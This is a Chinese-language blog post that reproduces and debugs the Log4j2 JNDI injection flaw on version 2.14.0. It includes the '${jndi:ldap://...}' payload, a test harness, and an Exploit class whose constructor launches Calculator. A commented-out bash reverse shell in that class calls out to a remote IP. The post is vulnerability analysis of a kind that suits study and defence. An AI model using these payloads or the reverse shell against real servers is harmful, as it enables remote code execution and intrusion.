log4j2分析

漏洞影响挺大的,但是由于一直在准备期末考试就延迟到了现在才分析,因为这个漏洞还发生了一些不可描述的事情。

Log4j2-core的maven仓库

https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core

从2.0-beta7 到 2.17.0除了2.3.2 和 2.12.4都存在jndi注入,而且后续修复的版本还有绕过和拒绝服务,这里我们只看poc被传飞了的洞。

1
${jndi:ldap://ip:port/poc}

我们用集万恶于一身的2.14.0。

image-20220116133953098

idea maven可能下载不到这个版本,这里建议给idea的maven换一下国内的源,有时候国内源下不了就吧override勾掉再换回去。

image-20220116120343928

使用我们自己的配置文件覆盖idea中maven的配置文件,如果本地没有安装其他版本的maven,这里一般是空的,我们手动创建一个就可以。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<settings xmlns="http://maven.apache.org/SETTINGS/1.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/SETTINGS/1.0.0
https://maven.apache.org/xsd/settings-1.0.0.xsd">

<mirrors>
<mirror>
<id>alimaven</id>
<name>aliyun maven</name>
<url>http://maven.aliyun.com/nexus/content/groups/public/</url>
<mirrorOf>central</mirrorOf>
</mirror>
</mirrors>
</settings>

我们在远程服务器监听,然后跑测试代码。

1
2
3
4
5
6
7
8
9
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Main {
public static void main(String[] args) {
Logger logger = LogManager.getLogger();
logger.error("${jndi:ldap://IP:5678/exp}");
}
}

发现log被正常打印,服务器也收到了信息。

1
2
3
4
5
6
7
8
9
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Main {
public static void main(String[] args) {
Logger logger = LogManager.getLogger();
logger.error("${jndi:ldap://IP:9999/Exploit}");
}
}

测试一发payload,发现ldap服务收到了信息,但是被攻击主机并没有访问class文件,这是因为这种方式在具体哪个版本开始需要开启com.sun.jndi.ldap.object.trustURLCodebase为true才允许远程加载类。

因此被攻击主机会拒绝下载远程的class文件。

image-20220116134652508

1
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");

更改完配置后就会发现除了ldap服务有访问记录,class文件也有访问记录,可以成功弹出计算器就不贴图了。

所以有log4j漏洞的服务jdk版本都不会高,而jvm的字节码是向下兼容的,我本地的jdk11可以跑jdk8的class,但是反过来就不一定了,所以用来做exp的class文件建议用jdk7和jdk8都编译一份,有时候jdk8的版本可能会有点高。

image-20220116134321769

调试漏洞之前我们要先大概知道jndi是什么?

Java Naming and Directory InterfaceTM (JNDI) 是一个应用程序编程接口 (这里的Directory管理的不是文件而是服务),它为使用 JavaTM 编程语言编写的应用程序提供命名和目录功能。 它被定义为独立于任何特定的目录服务实现。 因此,可以以通用方式访问各种目录(新的、新兴的和已部署的)。

enter image description here

找了一个图感觉描述的挺贴切的,jndi更像是一个插槽,可以将不同的服务例如ldap、dns等插在上面,由jndi统一管理。

log4j中用来完成jndi功能的对象叫做Lookup,log4j的lookup封装了一些其他的Lookup,比如LowerLookup、JndiLookup。

1
2
3
4
5
6
7
8
9
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Main {
public static void main(String[] args) {
Logger logger = LogManager.getLogger();
logger.error("${lower:Hello}");
}
}

image-20220116141354299

一直跟代码跟到resolveVariable方法,如果不看除了rc1和rc2的过滤那么在这之前的都不重要。

在StrSubstitutor中可以看到各个lookup的实例(下面有函数调用栈),log4j的lookup接受的参数有两个,一个是event对象,一个是我们传入的日志信息。

image-20220116142332355

至于log4j是怎么区分不同的lookup的,我们跟进分析一下。

image-20220116142615067

可以看到,prefix就是lookuo的名称,通过prefix得到一个lookup实例,调用这个实例的lookup方法将name当作参数传入。

由此我们当然会关注到如何调用jdnilookup,只需要”:”左边是jndi,右边就是jdnilookup的参数就可以实现了,接着就是jdni注入,通过ldap传递一个恶意的class,而被攻击者会反序列化我们的class,在构造函数处写入我们的恶意代码即可在反序列化后触发。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
public Exploit() throws Exception {
// Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/IP/7890;cat <&5 | while read line; do $line 2>&5 >&5; done"});
Process p = Runtime.getRuntime().exec("open -a /System/Applications/Calculator.app");
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {

}

}

总结一下:log4j是一个很简单的漏洞,在利用之前确实不需要布置一些很复杂的gadget(或者说不用布置任何东西,看起来漏洞是这个依赖库的正常功能),但是影响是真的大。。。

挖坑:感觉idea提供的傻瓜式操作让我一直没有手动编译过maven项目,或者说很多细节都注意不到,下次复现其他漏洞打算用vscode。